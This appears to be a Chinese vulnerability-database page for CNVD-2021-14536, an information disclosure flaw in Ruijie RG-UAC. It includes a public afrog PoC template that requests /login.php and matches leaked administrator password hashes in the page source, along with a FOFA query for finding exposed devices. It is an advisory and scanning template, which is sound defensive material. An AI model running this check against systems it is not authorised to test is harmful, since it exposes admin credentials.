CNVD-2021-14536: Ruijie RG-UAC Information Disclosure

日期: 2025-09-01 | 影响软件: Ruijie RG UAC | POC: 已公开

漏洞描述

Ruijie RG-UAC Unified Internet Behavior Management Audit System is susceptible to information disclosure. Attackers could obtain user accounts and passwords by reviewing the source code of web pages, resulting in the leakage of administrator user authentication information. FOFA: title="RG-UAC登录页面"

PoC代码[已公开]

id: CNVD-2021-14536

info:
    name: Ruijie RG-UAC Information Disclosure
    author: jweny(https://github.com/jweny) daffainfo
    severity: high
    verified: true
    description: |
        Ruijie RG-UAC Unified Internet Behavior Management Audit System is susceptible to information disclosure. Attackers could obtain user accounts and passwords by reviewing the source code of web pages, resulting in the leakage of administrator user authentication information.
        FOFA: title="RG-UAC登录页面"
    reference:
        - https://www.adminxe.com/2163.html
    tags: ruijie,cnvd,cnvd2021,disclosure

rules:
    r0:
        request:
            method: GET
            path: /login.php
        expression: response.status == 200 && response.body.bcontains(b"get_dkey_passwd") && "\"password\":\"[a-f0-9]{32}\"".bmatches(response.body)
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CNVD/2021/CNVD-2021-14536.yaml

相关漏洞推荐